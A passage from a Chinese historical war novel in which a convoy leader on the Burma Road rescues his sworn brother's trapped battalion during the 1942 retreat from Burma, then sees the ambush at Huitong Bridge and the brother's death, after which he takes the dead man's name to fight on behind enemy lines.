周立行的车队也加入其中,日夜不停。
4月中下旬,周立行的车队接到命令,让他们运送物资到曼德勒。
去曼德勒的车队不止周立行一个大队,此时总局算上编内编外的,已经有几十个大队,他们除了往返滇缅线,其余的都运送物资到曼德勒。
周立行和沐明实意识到这个不寻常,原本都是把物资往国内运,怎的又要往缅甸中部拉呢?
沐明实推断,曼德勒或有一场会战。
然而,当他们快要赶到曼德勒的时候,却发现沿途有一些形色匆忙的英军。
沐明实在车上看了没多久,在一个明显是临时驻扎的英军军营处时,立即要求车队停下,休整片刻,她要去打探消息。
周立行是队长,但绝大多数时候,他都会尊重沐明实的意见。
沐明实是女人,然而却是一个比他们所有人都了解缅甸的女人,她会一口流利的英语,会发电报,会打枪,骑马、游泳、攀爬和搏斗都堪比男子,观察细腻,做事周到,是一个非常厉害的人物。
车辆停靠,司机们下车抽烟,周立行跟着沐明实去英军的军营。
穿着军装,英姿飒爽的沐明实走在前面,周围路过的英军纷纷吹起口哨。
沐明实豪不羞涩,一边用英语回应着:“谢谢夸奖!哇哦你也很英俊!腹肌不错!大腿也很棒!”
一边,她甚至对几个赤裸上身的英军也吹起口哨,一时间竟不知道谁的表现更流氓。
这一番动静,引来了这只英军的长官。
沐明实立即用熟练的英语向长官搭话,两人聊着聊着就去营房里喝下午茶,周立行只能简单地听懂一些
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话语,插不上嘴,但怕沐明实太开放了导致吃亏,他只能亦步亦趋地跟着。
谈完话,沐明实让周立行安排人拿出一些货品,跟英军部队交换了一些军需物资。
返回车上后,沐明实的脸色立即变了。
“队长!不对头,这些英军说他们要往印度走,还劝我不要再去曼德勒,最好是跟着他们一起去印度!”
周立行立即拿出地图,他们虽然不知道各军的具体驻防地点,但一路送物资来回几趟,有些东西是可以推断出来的。
“……英军要撤退?”周立行心中狂跳,“英缅军怎么要往印度跑?是不是有什么我们不知道的命令?”
沐明实立即去找电台,报告了此地的情况,然而得到的回复还是,继续前往曼德勒。
军令如山,周立行等人只能继续往曼德勒进发。
然而,这一路,他们察觉到了更多的英国军在撤退,这让他们更加的不安。
等他们到达曼德勒的时候,曼德勒这边已经有许多中国远征军在集结。
冯争鸣所在部队,也到了这里。
冯争鸣一身军服不知道多久没换,他的脸庞是麻木的,锋利的眉眼已经沾染上死亡的顿感,看起来颇为瘆人。
周立行将一路见闻告知了冯争鸣,冯争鸣惊得一瞬间忘记了呼吸。
“……美国的史迪威将军和我军的杜聿明军长、戴安澜师长还在商议战局……如果英军真的撤了……”
日军一旦突破防线……
冯争鸣大喘一口气,立即告知周立行,“你们,送完物资,赶紧回国!”
他只是一个小小的营长,左右了不战局,他只能执行命令。
然而战场,是绞肉机,个人意志起不了任何作用,他从一开始希望周立行能来助他一臂之力,到现在只希望周立行能够平安回去。
周立行的心更沉,他不能打听军情军秘,只能点头后,快速招人卸下物资,原定休整一晚的计划临时调整,副司机顶上,让司机去后排睡觉,他们立即返程。
这一路上周立行心跳如擂,这是他在极端危险环境中才有的状况。他十分不安,却不敢表现明显,只能催促车队尽快返回。
然而,他们刚回到昆明,又接到紧急命令,要去腊戍再运送汽油等军需回昆明。
腊戍到昆明,汽车在不出故障、24小时不停的情况下,也需要四天四夜才能跑一个回合。
周立行等人的车队又再次返回腊戍,同一群忙碌的工人们在轰炸中,疯狂装载物资。
4月26日,腊戍最后一批油车撤出。
最后的这批车队狂奔,沿途却看到了许多溃败的士兵,他们惊惶无比,情绪崩溃,一味混乱地奔逃,进入村落抢食,仿佛退化的野兽。
前线曼德勒的远征军们还在准备会战,蒋中正本该发给曼德勒远征军们的撤退命令,不知道何故未曾送到;而日本,已经突破防线,往边境进发。
27-28日,剩下的美国人、英国人和中国人在最后撤退的时候,点燃了油池,漫天大火。
4月29,日军部队到达腊戍,在火海中开启另一轮杀戮,不分英国人、中国人还是缅甸人,不留活口。
缅甸人没有等到自己的独立,孔雀旗和缅甸义勇军的尸体一起沉入水底,无声哭泣。
*
最后那批车队,按照总局指挥,一部分要从卡萨、八莫回国。
沐明实却坚定要走她自己选择的道路,她见到了许多溃兵,直觉后路已经被包抄,必须尽快走。
周立行同意沐明实的主意,然而他却在溃兵中,见到了冯争鸣的部下——那是之前光耀堂的袍哥,人称五斤,据说生下来的时候只有五斤多,靠吃百家奶长大,后面跟冯争鸣相处的好,此番跟着冯争鸣一起参军。
那袍哥认得周立行,一见到他便跪下哭,“□□把子,能去救救我们营长吗?部队被分割打散了……我想拉援军,可是到处都在跑,完了,部队溃散了……”
他颠三倒四地重复着,部队溃散了,十分绝望。
周立行的脑海轰轰炸响,“什么方向?日军多少人?遭遇多久了?“
那袍哥抹了一把鼻涕,“当时说是往八莫退!日军是追击,我们不知道多少人……我们跑出来的,冯营长带着的人总共也才四百多……”
八莫,是原本要走的回国路线,周立行迅速下了决断:
“沐队长,你带车队先走,我带一个小队的十辆车从八莫回。那是我歃血为盟同生共死的结拜兄弟,我必须去接他!”
沐明实深深地看了周立行一眼,她是个果断的女子,立即领队走了,留给周立行的十辆车里主要装的是药品和武器。
73.滇缅公路
谷娃子作为小队长留了下来,石娃子也跟着往周立行这边跑。
空袭炸毁了秩序,处处是烧杀抢掠,人性的恶在战乱中被展现的淋漓尽致。
周立行亲自驾驶一辆车走在最前面,一路上,他看到了许多横死的人,还有许多无头苍蝇般仓皇逃窜的散兵。
有的散兵只是被打散,或是受伤,他们有三五结队,有的形单影只,但无论看起来多落魄,至少心气还没有散。
他们看着驾驶室里坐的人穿着军装,便兴奋地挥手,跑到路上拦车。
周立行停车,询问这些人的部队番号,确认真实身份后,便干脆一起拉到了车上。
也有一些混乱之中一些人,看着车辆似是有物资,便打算上前抢劫的,周立行都是直接撞开就走,而车上的士兵则会直接开枪射击。
一路开到八莫城外,四处都是炮弹炸出来的深坑,沿途房屋俱被焚毁,空气中已经有了尸臭,天边乌鸦盘旋。
此时天色已黑,路边竟然停着好些被废弃的雪佛兰卡车。
根据五斤的描述,他们当初就是在八莫城外被打散的。
周立行下车环视四周,车上沿途捡来的士兵们也跳下车来,向着四个方向警戒。
周立行因身上的军装军衔高,胸牌上有写职务。然而并不是所有士兵都识字,大部分士兵并不知道他的身份,直接当他是某个队伍汽车营的营长一类。
周立行也向他们说过,他们的目的地是去八莫城接应一支远征军,然后迅速撤回国内。
于是看得懂字的一些士兵也索性不吭声,有人能带着回国,他们何必多嘴。
反正军阶比自己高的就是官,战场上,有军官了就有主心骨。
作为军人,他们立即按照自己内部的军阶分类,最后统一听周立行调遣。
“暂时没有发现危险,但不能掉以轻心。”
周立行让士兵们负责维持外围警戒,然后立即召几个司机都来修车。
这些车辆并没有太大故障,油箱的油不多,但好在周立行本就刚从腊戍那边载了一车油罐,大家赶紧开始修车。
“安排四个副司机过来,开车走,咱们一路上捡到的散兵都快有一百来人了,用这些车专门拉收拢的散兵。”
周立行一边修车,一边跟谷娃子交代,“这个八莫城看起来已经被轰炸过,不知道城里还有没有人,我带五斤和石娃子摸进去看看。”
虽然石娃子莽憨,但好歹是十四五岁就跟着周立行当陪练的,当初周立行学的武艺传授了许多给谷娃子石娃子,石娃子可是老老实实一直练着,比普通人身手好太多,并且憨子劲大,适合背扛东西。
“好,我们把汽车转向头朝外,人在中间扎个小营盘,不生火,铺上油毡让大家赶紧睡觉休息。”
谷娃子点头,开始安排。
周立行继续叮嘱,“轮岗戒备,每一轮都得有一个咱们堂口自己人,防人之心不可无。把药品和食品搬些下来,让他们自行取用,相互帮助处理伤口。”
“我们快去快回,你们一切小心。”
周立行的担忧不无道理,他怕自己离开,万一遇到什么变故,这些散兵们抢了东西一哄而散不打紧,就怕司机们受伤害。
但他收拢的这些人都还好,相互认识的已经开始互助,不认识的也在迅速交流,大家在生死危机下看到回国的机会,心已经拧到一块了。
*
漆黑的夜里,周立行三人摸进八莫城,城内街道乱糟糟的,死人和各类燃烧过的器具丢在街上,恶臭扑鼻。
五斤随手翻开一具尸体,从英军那边交易的手电筒排上了用处,他们快速打开扫一眼再关上,已然是看到了远征军的尸体。
然而尸体周围没有枪。
“枪被打扫战场的带走了。”五斤声音嘶哑,“这里不安全。”
周立行几步跃到断墙上,站得高一些,往远处看去。
他看到一些零星的灯火,顺着风,听到某个方向隐约的声音。
“我感觉这个方向,起码有几百人的。”周立行跳下来,向五斤描述。
五斤有些傻眼,他指着那头,又指着自己,“你是听出来的?”
周立行摇头,“感觉。”
他没办法去描述这种感觉,就像猴群不需要看到人群,飞鸟不需要看到灾祸,那是一种独特的感知,他在峨眉山上给猴群当舵把子时候得到的天赋。
五斤虽然不理解,但五斤尊重长官的判断。
石娃子更不用所,□□把子说什么,那就一定是什么。
于是他们三人毫不迟疑,一起往那个方向摸去。
一阵轻微的窸窣声,惊动了冯争鸣,他握着枪从地上一跃而起,立即将身体靠在了门柱后。
他身后的士兵们也全部惊醒,一个个不吭声,集体拉栓上膛。
他们三百多人一路被日军追着,跑到八莫城的时候,八莫城竟也有了一支日军。
慌不择路的他们一边激战,一边后退,最终退入城中这栋砖瓦建筑中。这里应该是之前政府的办公地点,然而人员已经跑光了。
天色已晚,那些日军包围了这里,要逮他们简直如瓮中捉鳖手到擒来。
也许是因为这个原因,或者还有什么其他原因,总之,这些日本人没有再打进来。
冯争鸣知道自己和士兵们已成困兽,他们的下场只有一条——死。
只不过还可以细分,是战死,还是被俘之后再被虐杀。
士兵们不懂,但冯争鸣知道,他跟大家讲了南京大屠杀时候投降十万军人,然后最后统统被屠杀殆尽。
也许日本人的包围就是为了见证他们是否拥有勇气和骨气,他们已经是溃散被追的败兵,但不能当哭着跪着去投降舔屎吃的汉奸。
士兵们都沉默了,人都有求生的本能,但也能置之死地而凝聚,如果横竖都是死,那不如拼命杀敌,杀一个够本,杀两个就赚!
冯争鸣做好了士兵们的思想工作,安排了轮流守夜人员,这才在屋子里倒地小憩一会儿。
没想到半夜时刻,竟然听到院子里有人摸进来的声音。
*
周立行往这个方向摸的时候,发现外围是一圈日本人,他们大部分休息了,却有一部分在执勤,像是守着什么地方。
心中存疑,周立行决定摸进去看看被守的是什么宝贝,要是军火库,就趁夜给它炸了!
为了保证安全,他让五斤和石娃子留下,自己一个人去。
没想到,刚翻进院子落地,他就听到屋内有人惊醒,然后一群拉枪栓的声音。
“!!!……”周立行吓了一大跳,正要准备跑路,却瞅着门口值守打呵欠的人穿着远征军的军服。
这下周立行更不敢动了,溃兵都是一群精神严重受刺激的,要是枪响了,外面的日本人再冲进来,那真的就是大家都玩完儿。
周立行没动,执勤的远征军没感觉,里面的士兵们在等长官下令,大家就这么僵持起来。
过了一会儿,冯争鸣觉得不对劲,来人怎么在外面一动不动,也不袭击执勤人员,又不说话,也不跑……难道是有话要说?
日本的劝降人员?还是滞留在缅甸的谍报特工?
冯争鸣思考再三,决定先沟通一声。
“什么人?有什么事?”
周立行一听声音,喜不自胜,“争鸣!是我!”
冯争鸣大惊失色,立即冲过去开门,一把将那吓傻了的执勤士兵推开,“立行!你怎么来这里?!”
周立行这才从墙角的阴影里站出来,高举双手,生怕冯争鸣身后的士兵们过激。
那些士兵没周立行想的那么傻,他们听冯营长说话,已经知道来人是熟人,再看周立行也是穿着国军军服,还能在日军的包围下神不知鬼不觉地摸进来,大家心中已经安定许多。
“我遇到五斤,他说你们往八莫退。我让沐明实带车队先回去,我这边带了十辆车来。”
周立行也不废话,直接说重点,“商量下,怎么走?”
冯争鸣深吸一口气,他感动于周立行竟然会来救他,却也来不及多说什么。
“让我想想……前面和左右都被设了路障,城里乱,货车开不进来……后门,这边离城后门近,你们的车从后面开过来,我们摸黑跑……你们能开夜车吗?”
周立行在脑海里过了下记忆中的八莫城的地图,大致判断现在他们所处的位置,回答道:
“跟着我来的都是熟手,我们已经开了几个月的夜车了,只要能上滇缅公路,闭着眼睛我们都能开回昆明。”
“我们200师是往密□□走的……”冯争鸣有些迟疑。
周立行却记得沐明实的话,“大军溃败,日军极有可能包抄后路。我们得最快速度返回南,阻止日军攻入云南。”
“八莫有一条路
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,我们从南坎那边上滇缅公路,往回走!”
冯争鸣回头看了一眼满身脏污的士兵们,咬了咬牙,下定决心,“好,听你的。”
周立行不敢说这相当于是听沐明实的,他点点头,对冯争鸣身后探头探脑的士兵们说到:
“我们一路走一路捡,也是捡了一百多号兵呢!车上有药品,有武器,有吃的,还巴拉了一些衣物等物品,兄弟们,你们把身上的东西吃完,把子弹都用上,待会儿出去了,就往有光的地方冲,我们车队接上你们就走,我们回国!”
周立行这番话给了他们极大的安慰,士气陡然高涨,甚至有年纪小的士兵哭了出来,被旁边的士兵捂着嘴给拖了下去。
周立行和冯争鸣在桌子上用杂物再摆了一遍地形图,商量好汽车接应的位置。
“我这边出城,最快也要二十分钟左右,召集车队开过去,十分钟左右可以到。但有个问题,我们半夜动车往后面绕,必然会惊动一部分日军。”
周立行算了算时间,“我刚刚观察,日军是围着你们这栋大建筑,十个方向都架了机枪。如果硬冲,伤亡会很大。”
“我们在这里待了好几个小时,日军都没有发起攻击,我怀疑他们人数并不多。”
此刻的冯争鸣终于真正意义地冷静下来,他开始思考如何更好地保护自己的有生力量。他是营长,此刻他要对所有的士兵们负责。
周立行点头,“不多,我摸进来的时候大概看了看,顶多四五百人。他们应该是尖兵部队,没有携带重武器,不然直接炸平你们就可以。”
“我们跑散了,他们一样分兵追散了。他们追了我们一路,武器也消耗得差不多。”
“那今夜我们必须走,否则等大部队追上来,我们全完。”
“你们捡的一百来号兵,能不能作战?”
冯争鸣脑海中成型了一个计划。
“能,我捡的都是看着还有心气的,来的路上已经小打了两场打劫的,我看军事素养都还可以,其中还有几个炮兵连掉队的伤兵,我给为了抗生素,挺过来了。”
“……你们的车里,有什么武器?”
“枪支弹药,迫击炮,轻重机枪都有一些,还有一些信号弹,除了原本车上运的,还有一些是沐明实给我们大家准备的。她还给我们大家换了一些英式装备。”
周立行如实回答。
冯争鸣眉毛一扬,“这个沐明实,懂打仗?”
“不知道,但她确实懂很多。”
周立行不懂冯争鸣在怀疑什么,他也有过一些猜测,不过身在此时此刻,什么猜测都没有意义,大家随时都有可能为国捐躯。
冯争鸣揉了一把脸,让自己的注意力转移到今晚的突围上来。
“立行,我需要你这样……”
*
周立行脱下军装,从房子里找了一套破烂衣服穿上,身如鬼魅,一个小时内摸清了外围日军的火力点和配置。
乌漆嘛黑的夜晚,周立行能完美地记住自己的方位,迈出的步数,从而确定方向角度。
他回到冯争鸣那里,冯争鸣立即掏出钢笔,撕下一块衣服布料,在上面画出地图,标注出点位。
周立行和冯争鸣对了表,定好时间,带着图离开。
半小时后,炮声响起!
日军的两个火力点位被炸,继而重机枪的枪声响起。
空中炸开的信号弹,同时城后十几辆车辆轰鸣,伴随着枪声大作。
日军顿时慌神,他们只是先行部队,人数不多,他们立即怀疑自己中计,回援的远征军要吃掉他们这只队伍。
这几百人的日军立即收缩防线,聚起来准备反击。
包围出现缺口,冯争鸣立即带队摸黑出城,所有人肾上腺素狂飙,夜视能力好的跑在最前面和最后面,夜盲的夹在中间循着声音跑,他们沿着被炸开的城墙向外狂奔,向着车灯的光亮除奔去。
等所有士兵一个个猛爬上车,车队立即转向,往南坎公路而去。
南坎公路的路口,已经被日军设置了路障。
最熟悉路的周立行开的前车,他远远就看到路口火光亮起,有人员往来。
他先行停车,冯争鸣立即下车带队而上,不管三七二十一,一排迫击炮直接开炸,能火力覆盖的就火力覆盖!
一轮轰炸后,周立行开车冲在最前,其余车辆紧随其后,在火药味中冲向茫茫黑夜。
74.滇缅公路
周立行采用了之前日夜不停的行车方式,然而这次没有那么多司机和副司机轮流开,他作为头车,几乎开了整个通宵。
车辆顺利进入边境,一路开始变得混乱、拥塞。
畹町城原本河边直到山上,漫山遍野都是仓库货栅,现在已经烧成一片火海,想来也许是不想把物资留给即将入侵的敌人。
畹町、遮放、芒市……一路都是车子,芒市前后有十多公里走不通,满满都是车子。
客车、卡车、小车,车上载满了逃难的人,除了缅甸的侨胞,还有许多是南洋那边逃来的华人。
他们口口相传,日军第56师团先遣队搜索联队接到的是“见人就杀”,腊戍,如同南京。
也有逃走的士兵说,他们遇到了追击,日本人就在他们背后。
还有逆着跑的士兵说,他们在前面遇到了埋伏,日本人在前面。
消息混乱无比,所有人都在惊惶中不知所措。
一些溃散的游兵散勇饥肠辘辘,田地里的苞谷苗都能被他们生啃干净,没有了部队建制,他们在经历战场暴力、疾病饥饿后,退化成了人形野兽,极易受激,会抢劫杀人。
好在这些回到国境线来的士兵,见了载着士兵的车便会自动跟上,仿佛找到了主心骨。
冯争鸣吩咐自己的士兵,在夜里悄悄给这些跟随而来、素不相识却同为远征军的战士们分些干粮。
一路都是人,他也救不了所有人,他只能寄希望于回到国内,找到驻防部队,迅速整队。
还有一些战士们搀扶着、用担架抬着自己的战友,不愿意放弃。当他们看到周立行的车队时,便会拦路,请求对方带上伤兵。
周立行和冯争鸣狠不下心,只能由着他们把伤兵往货车里面塞。为此,他们还扔掉了许多不那么重要的东西。
细雨蒙蒙,道路上的泥泞和碎石让车辆行动受阻,然而撤退的车辆灯光相接,绵延不断,有抢道的,有钻缝,驾车的都争前恐后,反而让道路更加堵塞。
那些失魂落魄的南洋华侨难民们混杂着缅奸和日寇,一路往昆明奔逃的过程中,天上有飞机轰炸,沿途都在放火杀人,这些逃难的人宛如被猛兽追逐的羔羊,朝不保夕。
途的山沟里坠满废弃车辆,拥堵的人群疯狂地往前赶,但凡有车抛锚或者故障了,后面的人们会不论三七二十一,合力将那些堵路的车辆掀翻。
一路上死了许多人,有不想拖累家人自杀的,有走到半路病死的,有走着走着暴毙的,有死了仍是奔跑状的,让人不知道这走的是逃生路,还是通往地府的黄泉路。
这一路走来,冯争鸣的脸色越来越差,一路走到龙陵,冯争鸣都没有找到能归队的地方……他似乎意识到什么,一路上都抽着烟,神色压抑到让周立行不敢跟他搭话。
5月4日,几十架日本飞机飞过公路,一直向前飞,惊得逃亡的民众纷纷离开车,往两边的山沟山坡上逃命。
然而那飞机没有丢炸弹……直到下午的时候,飞机才悠然返航,再次飞过公路沿线的时候,降低高度耀武扬威了一番才离开。
冯争鸣看着飞机飞走,突然撕心裂肺地嚎了起来,狠狠地对着天空开了好几枪。
周立行不明所以,但他知道,飞机肯定是去轰炸前面的城市了……按距离和重要程度算,极有可能是保山。
保山是交通重镇,那里存放着许多的军用物资,更是战略节点。
如同当时轰炸腊戍、八莫等地一样,日军的飞机过去了,后续的机械化师团就不远了。
“我永远也忘不了……我们自己的空军飞行队全部战死了……那一天,教官驾驶教练机去对战三十二架敌机……然后再也没了消息。”
冯争鸣蹲了下来,他心中的高压线崩断了那么一会儿,最终还是忍不住跟周立行嘶吼起来。
“我好恨!为什么我们这么无能……英军是一群只知道跑的猪,我们也是一群打散了就聚不起来的狗!”
“这一路……这是大溃败……多绝望啊,日军撵着我们跑,这一路竟然没有机构接应溃兵,没有上级有效组织的抵抗……跑!日他妈的都在跑!全部都在跑!跑就不会死吗?!一群软蛋!!!”
周立行不知道该怎么劝说,他知道冯争鸣在想什么。
可是,他们为了多带伤兵,已经丢弃了好多武器。
并且最关键的事,冯争鸣的军阶不够!他只是一个营长,不是将军,不是师长……
他们可以带着溃散的士兵们一起往回逃,那是因为大家的心愿都是往回逃。
若冯争鸣说要带着大家留下来狙击日本人,那他可能立马就会城光杆营长……顶多能有三五心腹留下,除了送死于事无补,无法形成有效进攻。
冯争鸣也知道如此,他的骄傲已经被日军的追击碾碎,他的狠戾对战局毫无作用,他骨子里的尊严折磨着他的精神,然而现在,他只能艰难地带着士兵们逃……
他也不知道,还能逃多久……
*
5月5日,惠通桥西岸。
因保护怒江之上多次重建的桥梁,惠通桥平时仅容一车单过,然而此时已经开了“桥戒”,允许几辆车同时同行。
然而桥难以承受重压,震动幅度越来越大。
大家眼看着桥在晃动,更是疯狂地挤上去,生怕桥断了,滞留在怒江这边,被日本人追上。
远远地看到惠通桥此刻的状况,周立行忍不住锤了一把方向舵。
坐在旁边的冯争鸣被惊醒,警戒地把枪,“怎么了?!”
周立行视力好,他指着惠通桥上的车队,“那是我们的车队,我们耽搁了两天,竟然还能追上来,他们路上一定遇到过事情被耽误。隔得远,我数不清车辆数,堵在这边的其他车队,怎么也得有上千辆……”
看得出来守桥的士兵们已经很努力在维持秩序,可这种时候,所有人为了逃命都已经疯了。
周立行头探出车窗,瞪大眼,桥上竟然有人撞车了!
一时间,桥头大乱,人声喧哗,惊慌、愤懑、绝望等情绪弥漫,车辆开始相互撞击,人人相争,守卫桥头的士兵冲了上去,和冲撞夺路的司机们发生争执。
前面彻底堵死,周立行和冯争鸣干脆下车。
冯争鸣回头看那长长的堵车队,忍着心中那口浊气,他突然爬上了货车车顶,站起来,往远处看。
“……不对劲……”冯争鸣喃喃自语。
周立行也觉得不对劲,他下车站在旁边,有一群身手矫健的难民从他身边挤过去,其中一人踩了他一脚。
对方条件反射地向他颔首垂头,嘴唇动了动发出了一个“撕莽”的声音,许多人又往前挤过去。
溃军、难民,桥上引发争执的车被掀到桥下,拥挤的队伍又开始疯狂且缓慢地蠕动。
周立行脑海中闪过什么,但立即被动起来的队伍吸引走注意力,他赶紧招呼冯争鸣下来,他们的车不比人,平时车快,现在车慢,得跟着蠕动。
冯争鸣却没有下来,他直勾勾地看向惠通桥西侧的高地,那里似乎有人影在做什么。
同一时刻,周立行突然反映过来,刚刚过去的人呢喃的话像是一句日语!
而冯争鸣也意识到,高地那里架设的是机枪!
“有埋伏!”
“有日本人!”
话音刚落,惠通桥上枪响。
这一响,刺激到了潜伏伪装在队伍中的日军,也刺激到了山顶上的埋伏。
只见拥堵在桥头的车队里,竟有伪装成难民和国军的日本人,他们直接从车辆内架起机枪,对着人群和桥头的士兵开始疯狂扫射。
枪声大作,惨叫伴随着杀戮,嚎哭和嘶吼此起彼伏,众人如同被狼群追捕的羊群,踩踏,推攘,倒下去的孩子被无数双脚踏过,地上血
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迹蔓延……
东安桥头,士兵们有的扑向手摇发电机,有的奔跑整理电缆,他们早已在通惠桥上安装了炸弹,眼见日军来袭,他们不再犹豫,接通了电源。
无人在意桥上还有多少车多少人,残酷的取舍下,惊天动地的巨响炸开,烟尘腾起,惠通桥如同被腰斩的巨龙,断裂的桥身沉入滚滚怒江,仅剩下两根悬空铁索,在江面上抖动。
西岸桥头的难民们则是在日本人的刀枪下屠杀,许多人纷纷往江水里跳,他们身上流着血,试图从游出一条逃生的路。
任务失败的日本人也发疯了,他们的机枪在山沟对面不停地扫射,左边是陡峻的山,右边是山涧流水,没有一个地方可以躲避。
眼睁睁看着屠戮开始,冯争鸣立即作出了选择,他高喊一声:
“杀上去!”
日军先头部队在车群中杀人抢劫,冯争鸣带着几百人从后面冲上去开枪,激战起来。
周立行回头看了一眼车辆,前后都被堵死,深知已经无法再开车了,他招呼谷娃子石娃子和车队人员背上沐明实为大家准备的应急背包,各个抱着枪也下来,跟着冯争鸣往前冲去。
开枪,这种时候,任何人都会无畏地开枪!
日军在公路拐弯的高处驾起重炮,直接将炮弹射向那些侥幸过桥后正在Z形爬山的车辆,那些车辆被炸,道路立即受堵。
眼见这边竟有几百人开始抵抗,日军的重炮直接转向,往冯争鸣所部轰来。
侵略者眼中没有人命,他们只有屠戮的目标和对占领的渴望。
守桥的士兵并不多,仅有一个连的兵力和少数工兵,然而那边的营长见西岸这边的远征军开始抵抗,跟着隔江还击。
然而,重武器的威力,不是个人勇武可以抗衡的。
一枚炮弹在冯争鸣周边炸开,汽车的爆炸掀飞周围的尸体,冯争鸣猝不及防,也被掀翻出去。
流弹打进了他的躯体,他栽倒下去。
周立行心脏骤然抓紧,他跌跌撞撞地跑过遍地的尸体,越过翻到的汽车,冲向了冯争鸣,把他拖到路边的卡车后面。
身后的公路上,车辆不停被顶下沟,日本的快速部队坦克车、装甲车已经赶来。
冯争鸣一张嘴,血便漫出来,剧烈的撞击震碎了他的内脏,肋骨处的血浸湿了军装。
“撤……走……快……”
冯争鸣艰难地说着。
周立行咬紧牙,他一把背起冯争鸣,从兜里掏出钢哨,使劲吹起来。
尖锐的哨声响起,谷娃子和石娃子听到了,跟着吹起了哨,他们迅速撤出战斗,跑出封锁线,往山间跑去。
周立行这边带队开始跑,那些士兵们也跟着开始跑,连带着一些还活着的民众也跟着跑。
敌人疯狂地射击着,但他们的任务是通过惠通桥,往前推进战线,所以并没有派兵追击。
*
离开战场,跑出去起码两个小时,周立行才把冯争鸣放下来。
他回头一看,跟上来的只有一百多人,基本上都是士兵,也有一些零星的民众。
这一看,周立行惊呆了。
沐明实竟然在这群人里。
沐明实也惊讶不已,她穿着男装,头发凌乱,冲上来给了周立行一个战友的拥抱:
“我听到哨声,看到一群人在突破防线跑,想也没想就跟上了……天姥爷啊,真的是自己人……”
周立行很想问沐明实为什么在这里,但他来不及,平放在地上的冯争鸣咳嗽着又吐了一口血。
沐明实立即冲向冯争鸣,想要撕开他的军装检查伤口。
然而,军装已经被血染透,沐明实一看这个出血量,便知道冯争鸣救不回来了。
“队长,他有话想说……”
沐明实鼻间一酸,纵然这几个月已经看过太多死亡,她依然会对自己人的离开而伤心。
75.滇缅公路
“争鸣!”
周立行赶紧蹲下来,将冯争鸣上半身轻轻抱起。
五斤,谷娃子,石娃子,以及原本冯争鸣所部的十几人跟着围拢过来。
冯争鸣满是黏稠血液的手,握住了周立行,冰凉,孱弱。
周立行的手微微颤抖起来,一瞬间他脑海里闪过了黑老鸹枯瘦的手,方结义温暖的手,如今,他又要失去。
“不……逃……要……杀……”强弩之末的冯争鸣用尽最后的力气,只说出了这四个字,最后一口气,便散了。
他凌厉上挑的眉眼带着无尽的遗憾,死死地瞪大眼,看向漆黑的夜空。
“不要等贼寇杀进来,要杀出去……”周立行眼中的泪水瞬间满涨,“黑老鸹说过,要杀出去……”
“兄弟,不逃了,我们不逃了……我们杀出去……”
暴怒伴随着后悔刺破了周立行的内心,他知道的,他一直知道的,冯争鸣自进畹町开始,就一直期待着能和主力部队一起守战,冯争鸣一直想和日本人打,他可以当战死的英雄,不能当逃跑的懦夫。
可是,那是大溃败啊,所有的人都被恐慌和绝望挟裹,所有人都在跑,如山崩,如地裂,如席卷而下的山洪泥石流,不是个人能力能阻拦的。
好似,跑赢了身边的人,就可以求生一般……
周立行总想着,到下一个地方就能停下,然而每到一处,都是继续往下崩逃,他当时也劝过冯争鸣,至少要跑过怒江或澜沧江,他参与过修路,他知道这里的道路和桥梁有多么险峻,只要炸掉桥梁,自然可以阻止敌人一段时间。
然而,惠通桥是断了,可他们也滞留在了敌占区。
周立行放开冯争鸣的手,擦了一把眼泪,眼前变得血红一片。
他的心中电闪雷鸣,脸上却没有了表情,他的愤怒已经不能再点燃他的热血,那几日来收拢的士兵们被活生生炸死眼前的场景,已经拧干了他的冲动。
他是痛苦的,也是冷静的。
他几次想要抹下冯争鸣的眼皮,让其瞑目,可冯争鸣的眼却闭不上。
他懂得冯争鸣的遗愿。
这个和他一起在打金章的擂台上争输赢的桀骜少年,在和他分别的那些时日里,在他们不曾交换的经历中,在接受军校的教育后,已经脱胎换骨,成了一个保家卫国的将士。
将士,出师未捷身先死,死不瞑目。
周立行撕下冯争鸣的胸牌,再撕下自己的胸牌,他交换粘贴后,起身向周围的士兵们说道:
“冯营长战死,我原本的军阶和他相同,更是歃血结拜的袍哥兄弟。从现在开始,我将继承冯争鸣的姓名和遗志,为他做他没有完成的一切,直到日寇被赶出中国为止。”
“惠通桥已断,敌人的重武器到了那里,他们的目标是往前推进,我们回不去了。”
“我要往边境走,我要沿路捡溃散的兵,我要去边境联络各大村寨,我要去接应那些还没有来得及回国的队伍,我要杀日本人!”
“你们如果要跟,就跟我走。这条滇缅公路,我从头到尾参与修的,四周地形我熟悉,我可以保证你们在深山里不会挨饿。但跟了我,就得在敌占区打日本人。”
“或者,你们也可以现在自行离开。”
场面一片静默,刚从弹火中跑出来的士兵们,谁不想活呢?
沐明实站起来,她大声道,“我留下,我原本就是运输大队的副队长,从小在云南长大,十二岁就跟着我的父亲途径缅甸往来南洋走商,我不怕!日本人,侵略我们的国土,残杀我们的同胞,我宁战死也不愿放过他们!”
“我们既是过不了桥,不如想办法在后方安定下来,我们可以打游击!共产党都可以留在了敌占区里打游击,百团大战你们知道吧?敌后队伍还越打越壮大呢!”
周立行瞥了沐明实一眼,没作声。
谷娃子和石娃子本就站在周立行身后,他们向队伍中招手,好些跑出来的司机和队员立即站过来,排排站在周立行那边去。
五斤一边抹着泪,一边跪下给冯争鸣磕了个头,他站起来,也是站到了周立行身后。
“□□把子,从现在开始,你就是冯营长了。我认你!我跟着你,打日本人!”
有人带头,剩下的人陆陆续续往周立行身后走,渐渐地,对面只剩下了六七个人,他们看起来不是军人,而是跟着跑来的难民。
周立行不再劝说,他只是等待他们做最后的选择。
过了一会儿,这些人往周立行那边走,周立行没有阻止,却也说道:
“到了合适的寨子,如果他们愿意收留你们,你们也可以留下。但是,你们不能当汉奸,不能泄露我们的行踪。”
哪知这样一说,那几个人却嚎啕大哭起来。
“我要杀日本人,我一家九口,只剩我了,都是日本人造的孽……”
“不跑了,反正都是个死!反正都是个死,我要拉着日本人一起死!”
“寨子?我就是从寨子跑出来的……他们屠寨,不留活口的……”
……
周立行不再使用自己的姓名,他要求大家称呼他冯争鸣。
在他决定不再后退,而是要深入敌占区之后,他再去抹上冯争鸣的双目,那双眼睛终于闭上了。
周立行亲自为冯争鸣刨了坟,将其安葬下去。
沐明实为之前汽车队员们准备的应急包里,有油纸包裹的打火机,镁棒,尼龙绳索,折叠刀具和匕首,折叠好的英国油布,各类药物,手枪,子弹等,甚至还有绷带。
这样的背包,足够让他们在丛林里生火,捕猎。
他们清点人数、枪支、弹药、补给,给所有人重新编队,12人一个班,3个班一个排,每排匀给一个背包。
这只队伍开始在敌占区的山林里穿行。
